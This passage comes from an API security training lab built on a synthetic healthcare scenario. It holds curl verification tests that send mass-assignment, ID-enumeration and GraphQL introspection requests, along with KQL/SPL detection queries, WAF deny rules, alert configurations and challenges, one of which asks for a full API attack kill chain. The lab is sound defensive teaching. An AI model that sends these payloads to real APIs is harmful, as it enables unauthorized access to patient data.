TOKEN=$(curl -s -X POST https://api.example.com/v2/auth/login \
    -H "Content-Type: application/json" \
    -d '{"username":"testuser","password":"REDACTED"}' | jq -r '.token')

curl -s -X PATCH \
    -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d '{"role":"admin","is_admin":true}' \
    https://api.example.com/v2/users/me | jq .
# Expected: {"error": "Validation failed: Additional properties
#            are not allowed ('role', 'is_admin' were unexpected)"}

# Test 3: Verify BOLA is prevented
curl -s -H "Authorization: Bearer $TOKEN" \
    https://api.example.com/v2/patients/1002 | jq .
# Expected: {"error": "forbidden"} — user 5847 doesn't own patient 1002

# Test 4: Verify rate limiting on auth endpoint
for i in $(seq 1 10); do
    status=$(curl -s -o /dev/null -w "%{http_code}" \
        -X POST https://api.example.com/v2/auth/login \
        -H "Content-Type: application/json" \
        -d '{"username":"testuser","password":"REDACTED-wrong"}')
    echo "Attempt $i: HTTP $status"
done
# Expected: First 5 return 401, remaining return 429

# Test 5: Verify GraphQL introspection is disabled
curl -s -X POST https://graphql.example.com/query \
    -H "Content-Type: application/json" \
    -d '{"query":"{ __schema { types { name } } }"}' | jq .
# Expected: {"errors": [{"message": "Introspection is disabled"}]}

Phase 6: Detection & Monitoring

Objectives

  • Build comprehensive KQL and SPL detection queries for all API attack types
  • Create WAF rules to block common API attacks at the perimeter
  • Design an API security monitoring dashboard
  • Configure API anomaly detection baselines

ATT&CK Mapping

Mitigation ID Description
Network Intrusion Prevention M1031 WAF rules for API protection
Filter Network Traffic M1037 Rate limiting and request filtering
Audit M1047 API access logging and monitoring
Software Configuration M1054 Secure API gateway configuration

Step 6.1 — Comprehensive API Attack Detection Rule Set

KQL — Unified API Threat Detection (Microsoft Sentinel)

// RULE 1: API Authentication Anomaly Detection
// Detects unusual authentication patterns including brute force,
// credential stuffing, and token replay
let auth_baseline = ApiAccessLogs
    | where TimeGenerated between (ago(7d) .. ago(1d))
    | where RequestPath has "/auth/login"
    | summarize AvgDailyFailures = count() / 7
        by SourceIP;
ApiAccessLogs
| where TimeGenerated > ago(1h)
| where RequestPath has "/auth/login"
| where ResponseCode in (401, 403)
| summarize
    FailedAttempts = count(),
    UniqueUsernames = dcount(
        extract_json("$.username", RequestBody, typeof(string))),
    FirstAttempt = min(TimeGenerated),
    LastAttempt = max(TimeGenerated),
    UserAgents = make_set(UserAgent, 5)
    by SourceIP, bin(TimeGenerated, 15m)
| join kind=leftouter auth_baseline on SourceIP
| extend AnomalyRatio = FailedAttempts / max_of(AvgDailyFailures, 1)
| where FailedAttempts >= 10 or AnomalyRatio > 5
| extend
    AttackType = case(
        UniqueUsernames > 5 and UniqueUsernames < FailedAttempts, "Credential Stuffing",
        UniqueUsernames == 1, "Brute Force",
        UniqueUsernames >= FailedAttempts, "Password Spraying",
        "Unknown Auth Attack"
    ),
    AlertSeverity = iff(FailedAttempts >= 50, "Critical", "High"),
    MitreTechnique = "T1110"
// RULE 2: BOLA/IDOR Pattern Detection with Behavioral Baseline
let user_access_baseline = ApiAccessLogs
    | where TimeGenerated between (ago(7d) .. ago(1d))
    | where RequestPath matches regex @"/(patients|users|records)/[a-zA-Z0-9-]+"
    | summarize AvgUniqueResources = dcount(RequestPath) / 7
        by UserId;
ApiAccessLogs
| where TimeGenerated > ago(30m)
| where RequestPath matches regex @"/(patients|users|records|documents)/[a-zA-Z0-9-]+"
| extend
    ResourceType = extract(@"/v\d+/(\w+)/", 1, RequestPath),
    ResourceId = extract(@"/v\d+/\w+/([a-zA-Z0-9-]+)", 1, RequestPath)
| summarize
    UniqueResources = dcount(ResourceId),
    ResourceList = make_set(ResourceId, 20),
    SuccessCount = countif(ResponseCode == 200),
    ForbiddenCount = countif(ResponseCode == 403),
    NotFoundCount = countif(ResponseCode == 404),
    TotalRequests = count()
    by SourceIP, UserId, ResourceType, bin(TimeGenerated, 5m)
| join kind=leftouter user_access_baseline on UserId
| where UniqueResources > max_of(AvgUniqueResources * 3, 10)
| extend
    AlertSeverity = case(
        UniqueResources >= 100, "Critical",
        UniqueResources >= 50, "High",
        "Medium"
    ),
    SuccessRate = round(100.0 * SuccessCount / TotalRequests, 1),
    MitreTechnique = "T1213"
| project TimeGenerated, SourceIP, UserId, ResourceType,
    UniqueResources, SuccessRate, ForbiddenCount, AlertSeverity
// RULE 3: Mass Assignment Detection
ApiAccessLogs
| where TimeGenerated > ago(1h)
| where HttpMethod in ("PUT", "PATCH", "POST")
| where ResponseCode == 200
| extend RequestFields = extract_all(@"""(\w+)""\s*:", RequestBody)
| mv-expand RequestField = RequestFields
| where RequestField in (
    "role", "is_admin", "admin", "permissions", "privilege",
    "subscription", "verified", "active", "approved",
    "password_hash", "internal_id", "credit_balance"
)
| summarize
    SuspiciousFields = make_set(RequestField),
    FieldCount = dcount(RequestField),
    Endpoints = make_set(RequestPath)
    by SourceIP, UserId, bin(TimeGenerated, 15m)
| where FieldCount >= 1
| extend AlertSeverity = iff(FieldCount >= 3, "Critical", "High"),
    MitreTechnique = "T1548"
// RULE 4: API Endpoint Discovery and Fuzzing
ApiAccessLogs
| where TimeGenerated > ago(30m)
| where ResponseCode in (404, 405, 500)
| summarize
    ErrorCount = count(),
    Unique404Paths = dcountif(RequestPath, ResponseCode == 404),
    Unique405Methods = dcountif(HttpMethod, ResponseCode == 405),
    Error500Count = countif(ResponseCode == 500),
    PathsScanned = make_set(RequestPath, 20),
    MethodsTested = make_set(HttpMethod)
    by SourceIP, bin(TimeGenerated, 10m)
| where ErrorCount >= 20 or Unique404Paths >= 10
| extend AlertSeverity = "Medium",
    MitreTechnique = "T1595.002",
    AttackType = "API Endpoint Fuzzing"

SPL — Unified API Threat Detection (Splunk)

| RULE 1: Comprehensive API authentication attack detection
index=api_logs sourcetype=api_access uri_path="*/auth/login*" status IN (401, 403)
| bin _time span=15m
| stats count AS failed_attempts
    dc(username) AS unique_usernames
    earliest(_time) AS first_attempt
    latest(_time) AS last_attempt
    values(user_agent) AS user_agents
    by src_ip _time
| eval attack_type=case(
    unique_usernames > 5 AND unique_usernames < failed_attempts, "Credential Stuffing",
    unique_usernames == 1, "Brute Force",
    unique_usernames >= failed_attempts, "Password Spraying",
    1=1, "Unknown Auth Attack"
  )
| where failed_attempts >= 10
| eval severity=if(failed_attempts >= 50, "Critical", "High"),
    mitre_technique="T1110",
    duration_seconds=last_attempt - first_attempt
| table _time src_ip failed_attempts unique_usernames attack_type
    severity duration_seconds user_agents
| RULE 2: BOLA/IDOR sequential enumeration detection
index=api_logs sourcetype=api_access
| rex field=uri_path "/v\d+/(?<resource_type>\w+)/(?<resource_id>[a-zA-Z0-9-]+)"
| where isnotnull(resource_id)
| bin _time span=5m
| stats dc(resource_id) AS unique_resources
    count AS total_requests
    values(resource_id) AS resource_list
    sum(eval(if(status=200,1,0))) AS success_count
    sum(eval(if(status=403,1,0))) AS forbidden_count
    by src_ip user_id resource_type _time
| where unique_resources >= 10
| eval success_rate=round(success_count/total_requests*100, 1),
    severity=case(
        unique_resources >= 100, "Critical",
        unique_resources >= 50, "High",
        1=1, "Medium"
    ),
    mitre_technique="T1213"
| table _time src_ip user_id resource_type unique_resources
    success_rate forbidden_count severity
| RULE 3: GraphQL attack detection (introspection + depth + batching)
index=api_logs sourcetype=api_access uri_path="*graphql*"
| eval is_introspection=if(match(request_body, "__schema|__type"), 1, 0),
    mutation_count=mvcount(split(request_body, "mutation")),
    has_login=if(match(request_body, "login|authenticate"), 1, 0),
    query_length=len(request_body)
| eval attack_type=case(
    is_introspection=1, "Introspection",
    mutation_count >= 5 AND has_login=1, "Batching Brute-Force",
    query_length >= 10000, "Depth/Complexity Attack",
    response_time >= 5000, "DoS via Complex Query",
    1=1, "Normal"
  )
| where attack_type != "Normal"
| stats count AS attack_count
    values(attack_type) AS attack_types
    max(query_length) AS max_query_length
    max(response_time) AS max_response_time
    by src_ip _time span=15m
| eval severity=case(
    match(attack_types, "Brute-Force"), "Critical",
    match(attack_types, "DoS"), "High",
    1=1, "Medium"
  ),
    mitre_technique=case(
        match(attack_types, "Introspection"), "T1590",
        match(attack_types, "Brute-Force"), "T1110.003",
        match(attack_types, "DoS"), "T1499",
        1=1, "T1595"
    )

Step 6.2 — WAF Rule Creation

# ModSecurity / OWASP CRS style WAF rules for API protection (SYNTHETIC)
# File: /etc/modsecurity/rules/api-security.conf

# RULE 1: Block JWT 'none' algorithm attempts
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+eyJhbGciOiJub25l" \
    "id:900001,\
    phase:1,\
    deny,\
    status:403,\
    log,\
    msg:'JWT none algorithm attack detected',\
    tag:'api-security',\
    tag:'OWASP-API2',\
    tag:'attack-authentication',\
    severity:'CRITICAL'"

# RULE 2: Block GraphQL introspection in production
SecRule REQUEST_BODY "@rx __schema|__type|__introspection" \
    "id:900002,\
    phase:2,\
    deny,\
    status:403,\
    log,\
    msg:'GraphQL introspection attempt blocked',\
    tag:'api-security',\
    tag:'graphql',\
    severity:'HIGH',\
    chain"
SecRule REQUEST_URI "@rx /graphql|/query" ""

# RULE 3: Block excessively large GraphQL queries (depth attack prevention)
SecRule REQUEST_BODY "@gt 10000" \
    "id:900003,\
    phase:2,\
    deny,\
    status:413,\
    log,\
    msg:'GraphQL query exceeds maximum size — potential depth attack',\
    tag:'api-security',\
    tag:'OWASP-API4',\
    severity:'HIGH',\
    chain"
SecRule REQUEST_URI "@rx /graphql|/query" ""

# RULE 4: Block mass assignment — sensitive fields in request body
SecRule REQUEST_BODY "@rx \"(is_admin|role|permissions|privilege|admin)\"" \
    "id:900004,\
    phase:2,\
    deny,\
    status:403,\
    log,\
    msg:'Mass assignment attempt — sensitive field in request body',\
    tag:'api-security',\
    tag:'OWASP-API6',\
    severity:'HIGH',\
    chain"
SecRule REQUEST_METHOD "@rx PUT|PATCH|POST" ""

# RULE 5: Block BOLA pattern — rapid sequential ID access
SecRule &TX:bola_counter "@ge 20" \
    "id:900005,\
    phase:1,\
    deny,\
    status:429,\
    log,\
    msg:'BOLA/IDOR pattern detected — rapid resource enumeration',\
    tag:'api-security',\
    tag:'OWASP-API1',\
    severity:'CRITICAL'"

# RULE 6: Detect API version enumeration
SecRule REQUEST_URI "@rx /(v[0-9]+|beta|staging|internal|alpha|dev)/" \
    "id:900006,\
    phase:1,\
    pass,\
    log,\
    msg:'API version probing detected',\
    tag:'api-security',\
    tag:'reconnaissance',\
    severity:'MEDIUM',\
    setvar:'tx.version_probe_count=+1'"

# RULE 7: Block requests to swagger/OpenAPI docs in production
SecRule REQUEST_URI "@rx /(swagger|openapi|api-docs|redoc|\.well-known/openapi)" \
    "id:900007,\
    phase:1,\
    deny,\
    status:404,\
    log,\
    msg:'API documentation access blocked in production',\
    tag:'api-security',\
    tag:'information-disclosure',\
    severity:'MEDIUM'"

Step 6.3 — API Anomaly Detection Baseline

// Establish baseline API usage patterns (run weekly)
// Store results for anomaly comparison
let baseline_period = 7d;
ApiAccessLogs
| where TimeGenerated > ago(baseline_period)
| summarize
    // Per-user baselines
    AvgRequestsPerHour = count() / (baseline_period / 1h),
    AvgUniqueEndpoints = dcount(RequestPath) / (baseline_period / 1d),
    AvgResponseSize = avg(ResponseSizeBytes),
    P95ResponseTime = percentile(ResponseTimeMs, 95),
    TypicalMethods = make_set(HttpMethod),
    TypicalUserAgents = make_set(UserAgent, 3),
    TypicalHours = make_set(bin(TimeGenerated, 1h) % 1d),
    ErrorRate = round(100.0 * countif(ResponseCode >= 400) / count(), 2)
    by UserId
| extend BaselineType = "per_user",
    GeneratedAt = now()
// Real-time anomaly detection against baseline
let user_baselines = materialize(
    ApiBaselines
    | where BaselineType == "per_user"
    | where GeneratedAt > ago(7d)
);
ApiAccessLogs
| where TimeGenerated > ago(15m)
| summarize
    CurrentRequests = count(),
    CurrentUniqueEndpoints = dcount(RequestPath),
    CurrentAvgResponseSize = avg(ResponseSizeBytes),
    CurrentErrorRate = round(100.0 * countif(ResponseCode >= 400) / count(), 2),
    CurrentMethods = make_set(HttpMethod)
    by UserId, bin(TimeGenerated, 15m)
| join kind=inner user_baselines on UserId
| extend
    RequestAnomaly = CurrentRequests > (AvgRequestsPerHour * 4 * 0.25),
    EndpointAnomaly = CurrentUniqueEndpoints > (AvgUniqueEndpoints * 3),
    ErrorAnomaly = CurrentErrorRate > (ErrorRate * 5),
    SizeAnomaly = CurrentAvgResponseSize > (AvgResponseSize * 10)
| where RequestAnomaly or EndpointAnomaly or ErrorAnomaly or SizeAnomaly
| extend
    AnomalyTypes = strcat(
        iff(RequestAnomaly, "HighVolume ", ""),
        iff(EndpointAnomaly, "EndpointSprawl ", ""),
        iff(ErrorAnomaly, "HighErrorRate ", ""),
        iff(SizeAnomaly, "LargeResponses", "")
    ),
    AlertSeverity = case(
        RequestAnomaly and EndpointAnomaly, "Critical",
        RequestAnomaly or ErrorAnomaly, "High",
        "Medium"
    )

Step 6.4 — API Security Monitoring Dashboard

Design specifications for an API security monitoring dashboard with the following panels:

Dashboard: API Security Operations Center

┌─────────────────────────────────────────────────────────────────────┐
│                    API SECURITY DASHBOARD                          │
│                    Last 24 Hours | Auto-refresh: 5m                │
├──────────────────┬──────────────────┬───────────────────────────────┤
│  TOTAL REQUESTS  │ AUTH FAILURES    │ ACTIVE THREATS                │
│    1,247,832     │     3,847        │       12                      │
│   ▲ 8% vs avg   │  ▲ 340% vs avg  │   ⚠ 3 Critical               │
├──────────────────┴──────────────────┴───────────────────────────────┤
│                                                                     │
│  [Timeline: API Requests by Status Code]                           │
│  ████████████████████████████████ 200 (89%)                        │
│  ████ 401 (4.2%)                                                    │
│  ███ 403 (3.1%)                                                     │
│  ██ 404 (2.8%)                                                      │
│  █ 429 (0.7%)  █ 500 (0.2%)                                       │
│                                                                     │
├─────────────────────────────────┬───────────────────────────────────┤
│  TOP THREAT SOURCES (IP)       │ OWASP API TOP 10 FINDINGS        │
│  1. 198.51.100.47 — 847 reqs   │ ▐██████████▌ API1:BOLA (23)     │
│  2. 203.0.113.91  — 523 reqs   │ ▐████████▌   API2:Auth (18)     │
│  3. 198.51.100.12 — 412 reqs   │ ▐██████▌     API3:BOPLA (14)    │
│  4. 203.0.113.33  — 298 reqs   │ ▐████▌       API4:Resource (9)  │
│  5. 198.51.100.88 — 187 reqs   │ ▐███▌        API5:BFLA (7)      │
│                                 │ ▐██▌         API6:MassAsgn (4)  │
├─────────────────────────────────┼───────────────────────────────────┤
│  JWT ATTACK ATTEMPTS           │ GRAPHQL SECURITY                  │
│  None algorithm:     47        │ Introspection attempts:  34       │
│  HS256 confusion:    12        │ Depth attacks blocked:   8        │
│  Expired tokens:     892       │ Batching brute-force:    3        │
│  Invalid issuer:     156       │ Max query depth seen:    42       │
│  Malformed tokens:   234       │ Avg query complexity:    127      │
├─────────────────────────────────┴───────────────────────────────────┤
│  RATE LIMITING STATUS                                               │
│  Global:  2,847 triggers │ Auth:  487 triggers │ Sensitive: 124    │
│                                                                     │
│  [Heatmap: Rate Limit Triggers by Hour and Endpoint]               │
│  00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 ...     │
│  /auth  ░░░░░░░░░░░░█████████████████████████████████░░░░          │
│  /patients ░░░░░░░░░░███████████████████████░░░░░░░░░░░            │
│  /graphql  ░░░░░░░░░░░░████████████████████████████████            │
└─────────────────────────────────────────────────────────────────────┘

KQL — Dashboard Queries

// Panel: API Request Volume Over Time
ApiAccessLogs
| where TimeGenerated > ago(24h)
| summarize RequestCount = count() by bin(TimeGenerated, 5m), ResponseCode
| render timechart

// Panel: Top 10 Most Accessed Endpoints
ApiAccessLogs
| where TimeGenerated > ago(24h)
| summarize RequestCount = count() by RequestPath
| top 10 by RequestCount
| render barchart

// Panel: Authentication Failure Trend
ApiAccessLogs
| where TimeGenerated > ago(24h)
| where RequestPath has "/auth/"
| where ResponseCode in (401, 403)
| summarize Failures = count() by bin(TimeGenerated, 15m)
| render timechart

// Panel: Unique API Consumers
ApiAccessLogs
| where TimeGenerated > ago(24h)
| summarize
    UniqueIPs = dcount(SourceIP),
    UniqueUsers = dcount(UserId),
    UniqueUserAgents = dcount(UserAgent)
    by bin(TimeGenerated, 1h)
| render timechart

SPL — Dashboard Queries

| Panel: Real-time API threat overview
index=api_logs sourcetype=api_access earliest=-24h
| eval threat_type=case(
    match(uri_path, "swagger|openapi|api-docs"), "Reconnaissance",
    status=401 AND match(uri_path, "auth"), "Auth Attack",
    status=403, "Authz Violation",
    status=429, "Rate Limited",
    match(request_body, "__schema|__type"), "GraphQL Introspection",
    response_time > 10000, "DoS Attempt",
    1=1, "Normal"
  )
| where threat_type != "Normal"
| stats count BY threat_type
| sort -count
| head 10

Step 6.5 — Alerting Rules Configuration

# API Security Alert Rules (SYNTHETIC)
# Platform: Sentinel / Splunk SOAR / Generic SIEM

alert_rules:

  - name: "API-CRITICAL-001: JWT Algorithm Attack"
    severity: critical
    description: "JWT token with 'none' or unexpected algorithm detected"
    query_type: kql
    schedule: "every 5 minutes"
    lookback: "15 minutes"
    threshold: 1
    mitre_techniques: ["T1606.001"]
    owasp_api: "API2:2023"
    response_actions:
      - block_source_ip
      - revoke_all_tokens_for_user
      - notify_soc_oncall
      - create_incident_ticket

  - name: "API-CRITICAL-002: Mass BOLA Exploitation"
    severity: critical
    description: "User accessing 50+ unique resource IDs in 5 minutes"
    query_type: kql
    schedule: "every 5 minutes"
    lookback: "10 minutes"
    threshold: 50  # unique resources accessed
    mitre_techniques: ["T1213"]
    owasp_api: "API1:2023"
    response_actions:
      - block_source_ip
      - suspend_user_account
      - notify_soc_oncall
      - preserve_evidence

  - name: "API-HIGH-003: GraphQL Batching Brute-Force"
    severity: high
    description: "Batched GraphQL mutations targeting authentication"
    query_type: kql
    schedule: "every 5 minutes"
    lookback: "15 minutes"
    threshold: 5  # mutations per request
    mitre_techniques: ["T1110.003"]
    owasp_api: "API4:2023"
    response_actions:
      - rate_limit_source_ip
      - lock_targeted_account
      - notify_soc

  - name: "API-HIGH-004: Admin Endpoint Accessed by Non-Admin"
    severity: high
    description: "Non-admin role accessing administrative API endpoints"
    query_type: kql
    schedule: "every 5 minutes"
    lookback: "15 minutes"
    threshold: 1
    mitre_techniques: ["T1548"]
    owasp_api: "API5:2023"
    response_actions:
      - block_source_ip
      - suspend_user_account
      - notify_soc
      - review_rbac_configuration

  - name: "API-MEDIUM-005: API Documentation Exposure"
    severity: medium
    description: "Swagger/OpenAPI documentation accessed from external IP"
    query_type: kql
    schedule: "every 15 minutes"
    lookback: "30 minutes"
    threshold: 3  # unique doc paths accessed
    mitre_techniques: ["T1596"]
    owasp_api: "API9:2023"
    response_actions:
      - log_and_monitor
      - review_documentation_exposure

Challenge Questions

Test your understanding of API security concepts with these challenge exercises:

Challenge 1: Advanced BOLA Detection

Scenario: An attacker is using non-sequential UUIDs (harvested from a data breach) to access patient records via /v2/patients/{uuid}. Traditional sequential-ID detection rules will not trigger.

Task: Write a KQL query that detects BOLA attacks using UUID-based identifiers by analyzing:

  • The ratio of unique resources accessed vs. the user's typical access pattern
  • Response codes (high 200 rate from resources the user shouldn't own)
  • Time-of-day anomalies (access outside the user's normal hours)
Hint

Focus on dcount() of accessed UUIDs compared to a 7-day per-user baseline, and join with the ownership table to calculate the percentage of "foreign" (non-owned) resources accessed.


Challenge 2: GraphQL Complexity Bomb

Scenario: An attacker crafts a GraphQL query that stays within the depth limit (max 7) but uses aliases and fragments to generate exponential response sizes.

Task: Design a query complexity scoring algorithm that accounts for:

  • Field depth (weighted)
  • Number of aliases per level
  • Fragment expansion
  • List return types with pagination
Hint

Assign a base cost of 1 per scalar field, multiply by the parent list's limit argument value, and add a multiplier for each nesting level. Fragments should be expanded before scoring.


Challenge 3: OAuth Token Theft Detection

Scenario: An attacker has stolen an OAuth refresh token and is using it from a different geographic location and device fingerprint to maintain persistent access.

Task: Write detection logic (KQL or SPL) that identifies OAuth token usage anomalies by correlating:

  • Geographic distance between token issuance and usage
  • Device fingerprint changes (user agent, client ID)
  • Refresh token reuse patterns
Hint

Use geo_info_from_ip_address() in KQL to extract geolocation from source IPs, calculate the time delta between requests from different locations, and flag physically impossible travel (e.g., requests from two cities 1000+ km apart within 30 minutes).


Challenge 4: API Gateway Bypass

Scenario: The API gateway enforces rate limiting and WAF rules, but an attacker discovers that the backend API server is directly accessible on an internal IP (10.10.50.100) without the gateway's protections.

Task: Describe three detection mechanisms that would identify:

  1. Direct backend access bypassing the gateway
  2. Rate limit evasion through IP rotation
  3. WAF rule circumvention through request encoding (e.g., Unicode normalization, parameter pollution)
Hint

Compare the X-Forwarded-For header presence — requests through the gateway will have this header; direct access will not. For rate limit evasion, correlate by session token or user ID instead of IP. For WAF bypass, implement request normalization before rule evaluation.


Challenge 5: Full Kill Chain — API Attack Simulation

Scenario: Design a complete API attack kill chain for the MedVault scenario that chains together:

  1. Reconnaissance (find the OpenAPI spec)
  2. Authentication bypass (JWT algorithm confusion)
  3. Authorization escalation (mass assignment to gain admin role)
  4. Data exfiltration (BOLA to access all patient records)
  5. Persistence (create a backdoor admin account)

Task: For each stage, specify:

  • The exact API request (method, path, headers, body)
  • The OWASP API Top 10 category exploited
  • The ATT&CK technique ID
  • A detection query that would catch this specific step
Hint

The key insight is that each stage's output becomes the next stage's input. The forged JWT from stage 2 enables the mass assignment in stage 3, which provides the admin permissions needed for stages 4 and 5. Write your detection queries to correlate across stages — a single alert should fire when the full chain is observed.


Scoring Rubric

Criteria Points Description
Phase 1: API Reconnaissance 15 Successfully discover OpenAPI spec, enumerate versions, fingerprint technology, map endpoints
Phase 2: Authentication Bypass 20 Demonstrate JWT none algorithm attack, RS256-to-HS256 confusion, OAuth flow manipulation, API key extraction
Phase 3: Authorization Attacks 20 Successfully exploit BOLA/IDOR, BFLA, and mass assignment with documented evidence
Phase 4: GraphQL Exploitation 15 Execute introspection, depth attack, batching brute-force, and field suggestion exploitation
Phase 5: Defense Implementation 15 Implement JSON Schema validation, rate limiting, JWT algorithm pinning, BOLA prevention middleware
Phase 6: Detection & Monitoring 10 Write working KQL and SPL detection queries, design monitoring dashboard
Challenge Questions 5 Complete at least 3 of 5 challenge questions with working solutions
Total 100

Grading Scale:

Score Grade Description
90-100 A Excellent — comprehensive understanding of API security
80-89 B Good — solid grasp of OWASP API Top 10 with minor gaps
70-79 C Satisfactory — understands core concepts, needs depth on defenses
60-69 D Needs Improvement — gaps in both offensive and defensive knowledge
Below 60 F Unsatisfactory — review prerequisite material before reattempting

Lab Cleanup

# Remove any test tokens from environment
unset TOKEN API_BASE GQL_BASE AUTH_BASE

# Clear command history of sensitive data (synthetic, but good practice)
history -c

# Verify no test artifacts remain
env | grep -i "token\|key\|secret\|api" | grep -v PATH

References


OWASP API Top 10 (2023) Coverage Summary

OWASP API Category Lab Phase Finding Demonstrated
API1:2023 — Broken Object Level Authorization Phase 3 BOLA/IDOR via patient ID enumeration
API2:2023 — Broken Authentication Phase 2 JWT none algorithm, RS256-to-HS256 confusion
API3:2023 — Broken Object Property Level Authorization Phase 3 Mass assignment (role, is_admin injection)
API4:2023 — Unrestricted Resource Consumption Phase 4 GraphQL depth attacks, batching brute-force
API5:2023 — Broken Function Level Authorization Phase 3 Patient role accessing admin endpoints
API6:2023 — Unrestricted Access to Sensitive Business Flows Phase 3 Mass assignment of business-critical fields
API7:2023 — Server Side Request Forgery Phase 1 Internal API endpoint discovery
API8:2023 — Security Misconfiguration Phase 1, 2 Stack traces, CORS *, API keys in JS, swagger exposed
API9:2023 — Improper Inventory Management Phase 1 Deprecated v1 API without auth, version enumeration
API10:2023 — Unsafe Consumption of APIs Phase 2 OAuth redirect URI validation bypass